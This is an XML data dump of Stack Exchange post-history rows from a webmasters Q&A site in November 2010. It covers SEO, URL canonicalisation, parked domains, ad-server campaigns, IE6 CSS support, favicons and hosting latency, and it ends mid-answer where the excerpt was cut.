  <row Id="10926" PostHistoryTypeId="3" PostId="5471" RevisionGUID="19c0a03c-bd87-44ef-a501-b30d211655d4" CreationDate="2010-11-15T12:05:02.063" UserId="1429" Text="&lt;seo&gt;&lt;url&gt;&lt;url-format&gt;&lt;dynamic&gt;&lt;canonical-url&gt;" />
  <row Id="10927" PostHistoryTypeId="5" PostId="5374" RevisionGUID="8fd78b22-4089-400d-bf9e-b9aab05d1cae" CreationDate="2010-11-15T12:09:05.820" UserId="1429" Comment="edited body; added 76 characters in body" Text="As far as I know, Google PR of your front page (or of any page) is mainly affected by the number of NOFOLLOW links to your front page Google can find in the WWW.&#xD;&#xA;&#xD;&#xA;So I don't see how could you loose so much PR by simply replacing page contents.&#xD;&#xA;&#xD;&#xA;What you might loose is Google search results positions that obviously depends much also on the page contents, I mean a page talking only about &quot;cats&quot; is difficult that shows up when someone search for &quot;handpainetd glasses&quot; even if the page has a huge PR.&#xD;&#xA;&#xD;&#xA;So can't you just ftp download your current front page, and back it up on your PC, than you substitute it with the new page. If after some months you see that you are loosing positions on Google search results for the search queries you are interested in, you just simply ftp upload back the old front page, that's it, it will take some months, but there is not much you could do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10928" PostHistoryTypeId="2" PostId="5472" RevisionGUID="967515a2-0294-45cb-88e1-75d224f950a2" CreationDate="2010-11-15T12:20:41.973" UserId="2748" Text="If the dynamic URL is crawled somehow by the Search Engine then a **description** wouldn't hurt. After all, its about helping the search engine to index pages better, ain't it?&#xD;&#xA;&#xD;&#xA;Besides who is more recognizable `1429` or `marco demaio`?" />
  <row Id="10929" PostHistoryTypeId="2" PostId="5473" RevisionGUID="a5bdcadd-17bd-4657-933c-867c67fcc188" CreationDate="2010-11-15T12:25:40.383" UserId="1757" Text="As always, putting users/usability first produces the best SEO results.&#xD;&#xA;&#xD;&#xA;1. Creating descriptive URLs helps both users and search engines know what the page is about. So, yes, it's always better to use `http://domain.tld/product/36/cheap-blue-jeans` than `http://domain.tld/product/36`.&#xD;&#xA;&#xD;&#xA;2. If the descriptive URL is more useful to users &amp; search engines then naturally that's what you want to be indexed and to be used as the canonical URL.&#xD;&#xA;&#xD;&#xA;3. Better safe than sorry. Why would you risk creating duplicate content? There are no benefits to it, only harm. Would you create an unsecured backdoor to your website so long as it's not linked to from anywhere?" />
  <row Id="10930" PostHistoryTypeId="2" PostId="5474" RevisionGUID="61adf215-d81d-4a2f-aee8-f5b3e34b0878" CreationDate="2010-11-15T12:26:02.420" UserId="3236" Text="I see that most domain names that contain some nice words like: www.pixelmania.com , www.musicbox.com and so on... are registered but look just auto-populated with some random data. Why they do this ? Is it for me to pay extra to get that domain? Is it for advertising purposes (all of them have insane amounts of ads on them)? Or what ... ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10931" PostHistoryTypeId="1" PostId="5474" RevisionGUID="61adf215-d81d-4a2f-aee8-f5b3e34b0878" CreationDate="2010-11-15T12:26:02.420" UserId="3236" Text="What is the idea behind occupying domains ?" />
  <row Id="10932" PostHistoryTypeId="3" PostId="5474" RevisionGUID="61adf215-d81d-4a2f-aee8-f5b3e34b0878" CreationDate="2010-11-15T12:26:02.420" UserId="3236" Text="&lt;domain-names&gt;" />
  <row Id="10933" PostHistoryTypeId="2" PostId="5475" RevisionGUID="d65f2788-de9f-4196-92c5-f4e44928462e" CreationDate="2010-11-15T12:49:38.843" UserId="2748" Text="Its nothing. Just few bunch of selfish freaks, who are planning to make more money selling them in future." />
  <row Id="10934" PostHistoryTypeId="5" PostId="5393" RevisionGUID="7f6260ea-c386-469e-b477-e6edded8b967" CreationDate="2010-11-15T12:50:13.693" UserId="1253" Comment="added 224 characters in body" Text="**Users first!!!**  Catering to search engines instead of users is a recipe for failure.&#xD;&#xA;&#xD;&#xA;Good usability would be to redirect them to a page that explains that the product doesn't exist anymore and invite them to explore other related items. That way you don't lose the visitor due to a bad link or confusion. After all if they are following a link expecting one thing and are shown another it looks bad for you if you don't handle it properly.&#xD;&#xA;&#xD;&#xA;I don't know if 4xx pages pass PR as I haven't seen anything conclusive pertaining to that but if you do you can &quot;spread&quot; the PR that page has by linking to your home page and any other important pages you deem necessary. If you do lose that PR it isn't a big deal. The usability you gain far outweighs whatever benefit the PR offered.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;A 301 is exactly what you want to do. It's the same product and by redirecting you make sure the new listing gets the benefits earned by the old page and users can still find the product they are looking for." />
  <row Id="10935" PostHistoryTypeId="5" PostId="5475" RevisionGUID="065f42fe-aecb-49fd-9169-75e86af7fb71" CreationDate="2010-11-15T13:06:23.307" UserId="2748" Comment="added 235 characters in body" Text="Its nothing. Just few bunch of selfish freaks, who are planning to make more money selling them in future.&#xD;&#xA;&#xD;&#xA;But sometimes... they are also used to reserve the domain for future development to avoid the risk of loosing them in future. And they try to utilize this unused to domain by advertising and earn a little money on the mean time. :D" />
  <row Id="10936" PostHistoryTypeId="2" PostId="5476" RevisionGUID="1f595e90-46d8-4005-afd4-699ac2998414" CreationDate="2010-11-15T13:11:33.280" UserId="1253" Text="They're probably expired domains that were snapped up by companies that build huge networks of domains with the sole purpose of showing advertising. They make countless millions of dollars a year doing it. " />
  <row Id="10937" PostHistoryTypeId="2" PostId="5477" RevisionGUID="d3156aba-ef02-4079-8d2c-43edcfe66185" CreationDate="2010-11-15T13:43:00.347" UserId="233" Text="You don't need to do any kind of redirection *at all* for the home page, because **the URL doesn't change**. The home page is `yoursite.com` and should never be `yoursite.com/index.html`, `yoursite.com/home.php` or anything like that.&#xD;&#xA;&#xD;&#xA;All you need to do is make sure the root domain returns different content (i.e. your landing page). If you currently have `index.html` or `index.php` you can simply backup the old file and replace it with your new page. If you have something more complex you'll need to use `htaccess` to do a rewrite of some sorts." />
  <row Id="10938" PostHistoryTypeId="5" PostId="5450" RevisionGUID="bd0c5d1f-c5cb-41f3-9998-b906cc930ef8" CreationDate="2010-11-15T13:55:05.490" UserId="233" Comment="added 586 characters in body" Text="Have you tried [Google Analytics][1]? It's free and very reliable. If you have a HUGE amount of traffic you may have problems, but I doubt you are anywhere near that level yet.&#xD;&#xA;&#xD;&#xA;EDIT: okay I guess I misunderstood your question. I don't know exactly what your script was doing, but it should be pretty easy to display the number of visitors online. On every page request, log the IP address and date in a database table. Then to display who's online, select all unique IP addresses that visited in the last 15 minutes or so (or up to 30 minutes if you like).&#xD;&#xA;&#xD;&#xA;That should be pretty lightweight, but if what you have is failing at peak times, then perhaps you could optimize it. Try asking over on [Stack Overflow][2] for help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/&#xD;&#xA;  [2]: http://stackoverflow.com" />
  <row Id="10939" PostHistoryTypeId="5" PostId="5475" RevisionGUID="5fb9e83f-d25b-471d-833b-d5313e112beb" CreationDate="2010-11-15T13:58:13.647" UserId="233" Comment="spelling correction (sorry &quot;loosing&quot; is a pet hate)" Text="Its nothing. Just few bunch of selfish freaks, who are planning to make more money selling them in future.&#xD;&#xA;&#xD;&#xA;But sometimes... they are also used to reserve the domain for future development to avoid the risk of losing them in future. And they try to utilize this unused to domain by advertising and earn a little money on the mean time. :D" />
  <row Id="10940" PostHistoryTypeId="2" PostId="5478" RevisionGUID="6a6f4b2a-a0c6-4705-80cb-440f8aed11b1" CreationDate="2010-11-15T14:01:03.787" UserId="233" Text="In addition to the other answers, they are sometimes registered to catch typos. For example if someone typed `gogle.com` instead of `google.com` (although Google owns that misspelling!).&#xD;&#xA;&#xD;&#xA;`pixelmania.com` could be set up to catch visitors for `pixmania.com`" />
  <row Id="10941" PostHistoryTypeId="2" PostId="5479" RevisionGUID="1aae5241-9a27-4c7f-aede-25e43b2f39d2" CreationDate="2010-11-15T14:06:17.917" UserDisplayName="Joel" Text="In order to use the &quot;og:&quot; meta tag of Facebook Graph, I need to add the following to the &lt;html&gt; tag:&#xD;&#xA;&#xD;&#xA;    xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&#xD;&#xA;          xmlns:og=&quot;http://opengraphprotocol.org/schema/&quot;&#xD;&#xA;          xmlns:fb=&quot;http://www.facebook.com/2008/fbml&quot;&#xD;&#xA;&#xD;&#xA;Since I am using HTML5 and not XHTML, do I still need to use the `xmlns=&quot;http://www.w3.org/1999/xhtml&quot;` part? &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Danny" />
  <row Id="10942" PostHistoryTypeId="1" PostId="5479" RevisionGUID="1aae5241-9a27-4c7f-aede-25e43b2f39d2" CreationDate="2010-11-15T14:06:17.917" UserDisplayName="Joel" Text="HTML5 and facebook Graph API" />
  <row Id="10943" PostHistoryTypeId="3" PostId="5479" RevisionGUID="1aae5241-9a27-4c7f-aede-25e43b2f39d2" CreationDate="2010-11-15T14:06:17.917" UserDisplayName="Joel" Text="&lt;html5&gt;&lt;xml&gt;" />
  <row Id="10944" PostHistoryTypeId="2" PostId="5480" RevisionGUID="c8fc3fe3-b5bd-4969-b667-ddfb484ce4fd" CreationDate="2010-11-15T14:08:07.870" UserId="370" Text="Very short and super easy answer. Ping the question.&#xD;&#xA;&#xD;&#xA;I work in SEO, and this is how I make my tens of dollars a year ;)... things showing up in the big G.&#xD;&#xA;&#xD;&#xA;I have spent thousands upon thousands of dollars working on tool that speed all of this up for me.&#xD;&#xA;&#xD;&#xA;2 things make you show up before the rest (for exact phrases)&#xD;&#xA;&#xD;&#xA; 1. Spider Crawls&#xD;&#xA; 2. Inbound links&#xD;&#xA;&#xD;&#xA;Ping the page, ping the sitemap, and let the mirrors point back to you... There is a phrase we have in the SEO world, it is the Google Dance, you will bounce up and down the results latter while Google finds where to place you &quot;permanently.&quot;" />
  <row Id="10945" PostHistoryTypeId="2" PostId="5481" RevisionGUID="c4246413-ce7c-4fad-8045-7f23b2cba54c" CreationDate="2010-11-15T14:19:10.157" UserId="1955" Text="Google can index everything, HTMLs, PDFs, XLSs etc. So yes it can index your page. But will it index it in the best way for SEO is another issue." />
  <row Id="10946" PostHistoryTypeId="10" PostId="5396" RevisionGUID="b14cc648-3c6d-47fe-bb31-bc4a5ae4e2af" CreationDate="2010-11-15T14:19:12.420" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="10947" PostHistoryTypeId="2" PostId="5482" RevisionGUID="55f6bf4b-9643-4e89-acd5-a7ba14c5c1d5" CreationDate="2010-11-15T14:55:59.547" UserId="1757" Text="I haven't used Facebook Graph, but I believe those are required. They're technically only valid in xhtml, not html, but most browsers and even the w3.org validation don't care." />
  <row Id="10948" PostHistoryTypeId="5" PostId="5436" RevisionGUID="534e47ea-6310-48c7-b94b-fa804e3f1836" CreationDate="2010-11-15T15:10:58.200" UserId="1253" Comment="added 366 characters in body" Text="Who said display:none is bad for SEO? That sounds like a myth to me. There are lots of legitimate reasons for using display:none and as always it's not the technique but the intent. Using display:none for style purposes is perfectly fine.&#xD;&#xA;&#xD;&#xA;As mentioned by Pumbaa80 you'll almost certainly want to take advantage of JavaScript for this. Have all of the tabs available using regular links (reload the page to show the proper tab). This allows users who don't have JavaScript turned on to view the content. Then use JavaScript to hide the tabs except for the default one when the page loads. JavaScript will also be used to show and hide tabs as the user clicks on a tab and cancel the page load when they click on the link. This is 100% search engine and user friendly.&#xD;&#xA;&#xD;&#xA;[You can see this in action here][1]. If you click on the tabs you'll see the page never reloads but the content changes when each tab is selected. If you turn off JavaScript the page does reload but the exact same content is available. A little less flashy then before but it's still accessible. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kgprophoto.com/printers/S2145-printer.php" />
  <row Id="10949" PostHistoryTypeId="2" PostId="5483" RevisionGUID="e37aa671-d1d8-4b79-bd6e-c8efedc8144c" CreationDate="2010-11-15T15:41:42.553" UserId="3239" Text="There are several reasons&#xD;&#xA;&#xD;&#xA;1. for money - sell the name for more;&#xD;&#xA;&#xD;&#xA;2. prevent phishing;&#xD;&#xA;&#xD;&#xA;3. prevent other people (companies) steal some fame from your product (JavaScript for example);&#xD;&#xA;&#xD;&#xA;4. future expand of the original site (local site for every country);&#xD;&#xA;&#xD;&#xA;5. expired domains as John Conde sayd. I think the ads and the random data is available only in the &quot;possible renew&quot; period;&#xD;&#xA;&#xD;&#xA;6. there is a small number of domains that are registered for system use only (.arpa). Not Exactly sure about &quot;net.net&quot; ..." />
  <row Id="10950" PostHistoryTypeId="2" PostId="5484" RevisionGUID="d0007787-95a3-4e9e-a3cd-8f46b82107d9" CreationDate="2010-11-15T15:43:14.173" UserDisplayName="Joel" Text="I am currently linking related &lt;img&gt; and text (caption) in the following way:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;/link&quot;&gt;&lt;img src=&quot;image.jpg&quot; ... /&gt;This is caption&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Meaning I combine both &lt;img&gt; and text inside the same &lt;a&gt; tag. Is that the right way to do it, syntax and SEO wise?&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="10951" PostHistoryTypeId="1" PostId="5484" RevisionGUID="d0007787-95a3-4e9e-a3cd-8f46b82107d9" CreationDate="2010-11-15T15:43:14.173" UserDisplayName="Joel" Text="Link of image and text" />
  <row Id="10952" PostHistoryTypeId="3" PostId="5484" RevisionGUID="d0007787-95a3-4e9e-a3cd-8f46b82107d9" CreationDate="2010-11-15T15:43:14.173" UserDisplayName="Joel" Text="&lt;html&gt;&lt;images&gt;&lt;validation&gt;" />
  <row Id="10953" PostHistoryTypeId="2" PostId="5485" RevisionGUID="2a7c2d8b-4be9-44c5-b75c-4a8192244139" CreationDate="2010-11-15T15:48:24.483" UserId="1253" Text="That's perfectly fine. It's usable, accessible, and (not coincidentally) search engine friendly.&#xD;&#xA;&#xD;&#xA;(You might consider using the alt attribute of the image tag to describe the image for users with screen readers or for when the image fails to load. But that doesn't directly affect your question as the caption essentially serves as anchor text for that link)." />
  <row Id="10955" PostHistoryTypeId="2" PostId="5487" RevisionGUID="0f2ec866-df77-41b4-888a-8dd8b4ce0850" CreationDate="2010-11-15T16:12:28.933" UserId="3240" Text="We're running our own OpenX instance with several advertisers. Each month, the advertiser's campaign should reset its available impressions, based on whatever plan the advertiser paid. I think this is a pretty common scenario. &#xD;&#xA;&#xD;&#xA;Question is: how do you manage this? Do you expire the old campaign and create a new one with the new amount of impressions? Or do you just add the impressions to the existing campaign?" />
  <row Id="10956" PostHistoryTypeId="1" PostId="5487" RevisionGUID="0f2ec866-df77-41b4-888a-8dd8b4ce0850" CreationDate="2010-11-15T16:12:28.933" UserId="3240" Text="Managing OpenX campaigns for several advertisers" />
  <row Id="10957" PostHistoryTypeId="3" PostId="5487" RevisionGUID="0f2ec866-df77-41b4-888a-8dd8b4ce0850" CreationDate="2010-11-15T16:12:28.933" UserId="3240" Text="&lt;advertising&gt;" />
  <row Id="10958" PostHistoryTypeId="2" PostId="5489" RevisionGUID="1a2a6eea-dd9f-4ab5-9f2f-9fa5436ac7e2" CreationDate="2010-11-14T00:06:56.190" UserId="657" Text="Lots of IE6 bugs/behaviours are still prevalent in IE7. Some bugs that were fixed:&#xD;&#xA;&#xD;&#xA;- basic alpha-transparent png support &#xD;&#xA;- css child selector&#xD;&#xA;- !important more properly works&#xD;&#xA;- :first-letter support &#xD;&#xA;- min-height&#xD;&#xA;- partial click bug&#xD;&#xA;- window.XMLHttpRequest became present, instead of ActiveXObject&#xD;&#xA;- `abbr` tag is recognized&#xD;&#xA;- `select` z-index bug is resolved as it's become window-less&#xD;&#xA;&#xD;&#xA;Some more listed @:&#xD;&#xA;&#xD;&#xA;- http://msdn.microsoft.com/en-us/library/ms649487(VS.85).aspx&#xD;&#xA;&#xD;&#xA;There really aren't any new features. IE7 is basically what IE6 should've been, and IE8 IE7, and so forth. The only version worth truly getting excited is IE9, which has a huge amount of modern spec support compared to the prior versions." />
  <row Id="10959" PostHistoryTypeId="2" PostId="5490" RevisionGUID="b228d027-3379-42f0-95ee-11c81deb88a1" CreationDate="2010-11-14T00:14:50.500" UserDisplayName="Reese Moore" Text="I find [When Can I Use...](http://caniuse.com/) to be a good resource for knowing what is available depending on what browser ranges I wish to support." />
  <row Id="10960" PostHistoryTypeId="2" PostId="5491" RevisionGUID="46b1d4c7-20a9-47c9-a6c5-436d1127516a" CreationDate="2010-11-14T01:18:13.023" UserId="2870" Text="If you're already using jQuery you could always consult this function to see if you should use a feature ;)&#xD;&#xA;&#xD;&#xA;http://api.jquery.com/jQuery.support/" />
  <row Id="10961" PostHistoryTypeId="2" PostId="5492" RevisionGUID="f355eee9-8339-4ffc-b8e3-748e653dcd3b" CreationDate="2010-11-14T01:21:46.277" UserDisplayName="Šime Vidas" Text="Unsupported in IE6 (this is not a complete list): &#xD;&#xA;&#xD;&#xA;- child selector ( div &gt; p )&#xD;&#xA;- adjacent sibling selector ( h1 + p )&#xD;&#xA;- general sibling selector ( h1 ~ p ) &#xD;&#xA;- chained class selectors ( .class1.class2 )&#xD;&#xA;- attribute selector ( a[href] )&#xD;&#xA;- descendant selector after :hover pseudo-class ( div:hover span )&#xD;&#xA;- chained pseudo-classes ( a:first-child:hover )&#xD;&#xA;- :hover on non-anchor elements&#xD;&#xA;- :first-child&#xD;&#xA;- &quot;virtual dimensions&quot; (dimensions determined by top, right, left, bottom when position: absolute )&#xD;&#xA;- min-height, min-width&#xD;&#xA;- max-height, max-width&#xD;&#xA;- transparent border color&#xD;&#xA;- position: fixed&#xD;&#xA;- background-attachment: fixed works only on the root element" />
  <row Id="10962" PostHistoryTypeId="2" PostId="5488" RevisionGUID="dc4c9b52-256b-4c67-9c75-2948f2896e13" CreationDate="2010-11-14T00:01:53.753" UserDisplayName="Eldar Djafarov" Text="My company is dropping support of IE6 and I just realize that we can use a set of great features.&lt;br&gt;&#xD;&#xA;Is there a list of CSS, Javascript features which we can use with IE6 RIP?&#xD;&#xA;" />
  <row Id="10963" PostHistoryTypeId="1" PostId="5488" RevisionGUID="dc4c9b52-256b-4c67-9c75-2948f2896e13" CreationDate="2010-11-14T00:01:53.753" UserDisplayName="Eldar Djafarov" Text="What new cross-browser features can we use if we drop support for IE6?" />
  <row Id="10964" PostHistoryTypeId="3" PostId="5488" RevisionGUID="dc4c9b52-256b-4c67-9c75-2948f2896e13" CreationDate="2010-11-14T00:01:53.753" UserDisplayName="Eldar Djafarov" Text="&lt;javascript&gt;&lt;css&gt;&lt;internet-explorer-6&gt;" />
  <row Id="10965" PostHistoryTypeId="17" PostId="5488" RevisionGUID="0d18a401-2dee-444f-b458-220f7754cbf2" CreationDate="2010-11-15T16:33:53.587" UserId="-1" Comment="from http://stackoverflow.com/questions/4175410/what-new-cross-browser-features-can-we-use-if-we-drop-support-for-ie6" Text="" />
  <row Id="10966" PostHistoryTypeId="2" PostId="5493" RevisionGUID="9f1739cb-7365-4e2f-9d1c-1b5453e03b62" CreationDate="2010-11-15T17:00:30.113" UserId="1757" Text="I think a web hosting user review site may be more appropriate for this, but since these questions don't seem to be going away or being closed, I will say that any VPS or managed hosting offer all of these features. And pretty much any decent web host will offer all of these features except for PostgreSQL even on shared hosting.&#xD;&#xA;&#xD;&#xA;DreamHost, for example, provides everything in your list except for PostgreSQL in their shared hosting plan. And you can just use Amazon RDS for the PostgreSQL database." />
  <row Id="10967" PostHistoryTypeId="2" PostId="5494" RevisionGUID="aa82a9b8-c961-420c-a848-6aa59956473c" CreationDate="2010-11-15T17:14:45.457" UserDisplayName="Steve" Text="Our company's site is not being previewed either whereas our competitor's are. I have been complaining that our site is sluggish to load... wonder if that has anything to do with it?" />
  <row Id="10968" PostHistoryTypeId="2" PostId="5495" RevisionGUID="f2b64c99-f76e-4603-992e-112a305bde1d" CreationDate="2010-11-15T17:14:55.533" UserId="3241" Text="I'm considering hosting a webapp to be used in northern Europe, but my current hosting provider is USA-based. I'm looking at about 17 hops from my machine to the hosting provider, and I'm concerned this will slow the webapp down. &#xD;&#xA;&#xD;&#xA;I've noticed that my hosted wiki is running a lot slower than a clone on my LAN. It's reasonable enough that LAN != Internet, but how I'm wondering whether the hosting location makes any significant difference? For a webapp (not a static site), **should I pick a local hosting provider to ensure a short response time,** or won't it matter at all?&#xD;&#xA;&#xD;&#xA;This is a very small webapp with few users, so it's not a performance problem in terms of user load. I just want to ensure shortest possible response time." />
  <row Id="10969" PostHistoryTypeId="1" PostId="5495" RevisionGUID="f2b64c99-f76e-4603-992e-112a305bde1d" CreationDate="2010-11-15T17:14:55.533" UserId="3241" Text="Is hosting a webapp in Europe faster for Europeans than if hosted in USA?" />
  <row Id="10970" PostHistoryTypeId="3" PostId="5495" RevisionGUID="f2b64c99-f76e-4603-992e-112a305bde1d" CreationDate="2010-11-15T17:14:55.533" UserId="3241" Text="&lt;web-hosting&gt;" />
  <row Id="10971" PostHistoryTypeId="2" PostId="5496" RevisionGUID="60feb763-f2ae-457a-a264-9a0da91d76f9" CreationDate="2010-11-15T17:32:50.027" UserId="2821" Text="I'm trying to replace the Magento favicon, but I can't seem to find it. Where is it?" />
  <row Id="10972" PostHistoryTypeId="1" PostId="5496" RevisionGUID="60feb763-f2ae-457a-a264-9a0da91d76f9" CreationDate="2010-11-15T17:32:50.027" UserId="2821" Text="How do I replace the Magento favicon??" />
  <row Id="10973" PostHistoryTypeId="3" PostId="5496" RevisionGUID="60feb763-f2ae-457a-a264-9a0da91d76f9" CreationDate="2010-11-15T17:32:50.027" UserId="2821" Text="&lt;favicon&gt;&lt;magento&gt;" />
  <row Id="10974" PostHistoryTypeId="2" PostId="5497" RevisionGUID="54006fcb-5230-44f8-a575-059a0e6fc339" CreationDate="2010-11-15T17:39:25.177" UserId="3243" Text="openX is very nice. I have used it in the past. [openX][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/" />
  <row Id="10975" PostHistoryTypeId="2" PostId="5498" RevisionGUID="e13aba2f-5970-47a4-99f0-05ab3b64e06c" CreationDate="2010-11-15T17:40:18.407" UserId="2707" Text="The easiest way is to add the favicon meta tag to your theme's header and point it to the favicon in your root. A more complex way (I think) is replacing the favicon in `/skin/frontend/theme/interface/favicon.ico`, but I never had any success with that method." />
  <row Id="10976" PostHistoryTypeId="2" PostId="5499" RevisionGUID="2d7061ac-28bd-4b7e-8a88-cbb28c96c72b" CreationDate="2010-11-15T17:42:44.630" UserId="63" Text="I would, while the difference will be small it all makes a difference. Users might be more confident that their data is stored in their own country. There are different laws governing data privacy and European Countries tend to be more protective..." />
  <row Id="10977" PostHistoryTypeId="2" PostId="5500" RevisionGUID="84936404-1146-4c67-bc07-73c54cf54f8b" CreationDate="2010-11-15T17:45:25.780" UserId="2707" Text="Short answer, yes. The less distance data has to travel, the faster it will get there. Using a CDN would be the easiest way to deliver your data worldwide in a quick fashion, because the CDN will determine which of their servers to use to deliver data the fastest.&#xD;&#xA;&#xD;&#xA;That said, if it's a small project and you don't want to invest time/money in a CDN, I'd seriously consider moving your hosting to your country, just because I can't fathom how much longer it takes data across the ocean." />
  <row Id="10978" PostHistoryTypeId="5" PostId="5394" RevisionGUID="7f4f16f5-7bb5-44b1-83f3-f7d49882e422" CreationDate="2010-11-15T17:48:32.713" UserId="2840" Comment="about the special case; deleted 2 characters in body" Text="To my mind, it will make more sense [to use `410 gone` status code][1] in this case.&#xD;&#xA;&#xD;&#xA;&gt;The requested resource is no longer available at the server and no forwarding address is known. This condition is expected to be considered permanent. Clients with link editing capabilities SHOULD delete references to the Request-URI after user approval. If the server does not know, or has no facility to determine, whether or not the condition is permanent, the status code 404 (Not Found) SHOULD be used instead. This response is cacheable unless indicated otherwise.&#xD;&#xA;&#xD;&#xA;&gt;The 410 response is primarily intended to assist the task of web maintenance by notifying the recipient that the resource is intentionally unavailable and that the server owners desire that remote links to that resource be removed. Such an event is common for limited-time, promotional services and for resources belonging to individuals no longer working at the server's site. It is not necessary to mark all permanently unavailable resources as &quot;gone&quot; or to keep the mark for any length of time -- that is left to the discretion of the server owner.&#xD;&#xA;&#xD;&#xA;Then, keep the page `http://...?id=XX` (don't delete the entry) with the item, but add a mention  to inform visitors that this item is definitely no longer available.&#xD;&#xA;&#xD;&#xA;For help you in your status code choices, try to take a look at:&#xD;&#xA;&#xD;&#xA;- [List of HTTP status codes][2]&#xD;&#xA;- [Status Code Definitions of the RFC 2616][3]&#xD;&#xA;- [RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;[EDIT] about the special case&#xD;&#xA;&#xD;&#xA;If one considers that the &quot;removed&quot; item is not really deleted but just marked unavailable, the best is to encourage the user to &quot;reactivate&quot; its item to make his changes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4.11&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&#xD;&#xA;  [3]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html&#xD;&#xA;  [4]: http://tools.ietf.org/html/rfc2616" />
  <row Id="10979" PostHistoryTypeId="5" PostId="5480" RevisionGUID="d6a55188-a701-4418-9d51-c2ede02db91a" CreationDate="2010-11-15T17:52:19.810" UserId="370" Comment="added 244 characters in body" Text="Very short and super easy answer. Ping the question.&#xD;&#xA;&#xD;&#xA;I work in SEO, and this is how I make my tens of dollars a year ;)... things showing up in the big G.&#xD;&#xA;&#xD;&#xA;I have spent thousands upon thousands of dollars working on tool that speed all of this up for me.&#xD;&#xA;&#xD;&#xA;2 things make you show up before the rest (for exact phrases)&#xD;&#xA;&#xD;&#xA; 1. Spider Crawls&#xD;&#xA; 2. Inbound links&#xD;&#xA;&#xD;&#xA;Ping the page, ping the sitemap, and let the mirrors point back to you... There is a phrase we have in the SEO world, it is the Google Dance, you will bounce up and down the results latter while Google finds where to place you &quot;permanently.&quot;&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;For better clarity, here is a PDF about the different google bots [http://www.telezent.com/telezent/Resources/FAMILY-OF-GOOGLE-CRAWLERS.pdf][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.telezent.com/telezent/Resources/FAMILY-OF-GOOGLE-CRAWLERS.pdf" />
  <row Id="10980" PostHistoryTypeId="2" PostId="5501" RevisionGUID="d24430e6-479d-462a-94ba-bf307460f32a" CreationDate="2010-11-15T18:02:38.540" UserId="2840" Text="- First point, check the source of your front page&#xD;&#xA;  - if you found a meta like this: `&lt;link rel=&quot;shortcut icon&quot; href=&quot;a/path/favicon.ico&quot; type=&quot;image/x-icon&quot; /&gt;` just change the favicon in the named path&#xD;&#xA;- Else, browsers try to get the favicon to the root of your website so:&#xD;&#xA;  - either you put a file `favicon.ico` at this place&#xD;&#xA;  - or you put a meta like above with the good path to your favicon." />
  <row Id="10981" PostHistoryTypeId="2" PostId="5502" RevisionGUID="ec30d422-90cf-40c9-9899-e5d2c51dbb5d" CreationDate="2010-11-15T18:44:50.627" UserId="1705" Text="I used to have a link to the top 50 article submission directories arranged by PR, Alexa, and maybe some other factors.  Anyone have this link (and others), that show a ton of article submission directories?" />
  <row Id="10982" PostHistoryTypeId="1" PostId="5502" RevisionGUID="ec30d422-90cf-40c9-9899-e5d2c51dbb5d" CreationDate="2010-11-15T18:44:50.627" UserId="1705" Text="List of Article Submission Directories" />
  <row Id="10983" PostHistoryTypeId="3" PostId="5502" RevisionGUID="ec30d422-90cf-40c9-9899-e5d2c51dbb5d" CreationDate="2010-11-15T18:44:50.627" UserId="1705" Text="&lt;seo&gt;&lt;directory&gt;&lt;articles&gt;" />
  <row Id="10984" PostHistoryTypeId="2" PostId="5503" RevisionGUID="08384239-47e5-4f04-858f-23566ad159c3" CreationDate="2010-11-15T18:58:20.700" UserId="1253" Text="If you google &quot;[list of article submission directories][1]&quot; the site you mentioned comes up first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=list+of+article+submission+directories" />
  <row Id="10985" PostHistoryTypeId="2" PostId="5504" RevisionGUID="b106018a-a224-4b9f-8ffb-4c9f43b4637f" CreationDate="2010-11-15T20:13:35.543" UserId="221" Text="By *speed* I assume you are talking about network latency and not server capacity (which will affect perceived speed but is not dependent on location) or bandwidth (which can affect perceived speed, but is unlikely to do so unless your site is heavy on multimedia content).&#xD;&#xA;&#xD;&#xA;Typical cross Atlantic round trip will take about 80-100 milliseconds (or about 0.1 seconds). Moving the server to Europe would therefore have a maximum gain of about 0.1 second (more likely 0.05 seconds). So to answer your question, you need to consider if that is a valuable gain. Does the responsiveness of your site benefit from saving 50 msec?&#xD;&#xA;&#xD;&#xA;To answer that you could consult this [AlertBox article about Website Response Times][1].&#xD;&#xA;&#xD;&#xA;To quote the most salient part:&#xD;&#xA;&#xD;&#xA;&gt; * 0.1 seconds gives the feeling of instantaneous response — that is, the&#xD;&#xA;&gt; outcome feels like it was caused by&#xD;&#xA;&gt; the user, not the computer. This level&#xD;&#xA;&gt; of responsiveness is essential to&#xD;&#xA;&gt; support the feeling of direct&#xD;&#xA;&gt; manipulation (direct manipulation is&#xD;&#xA;&gt; one of the key GUI techniques to&#xD;&#xA;&gt; increase user engagement and control —&#xD;&#xA;&gt; for more about it, see our Principles&#xD;&#xA;&gt; of Interface Design seminar).&#xD;&#xA;&gt; * 1 second keeps the user's flow of thought seamless. Users can sense a&#xD;&#xA;&gt; delay, and thus know the computer 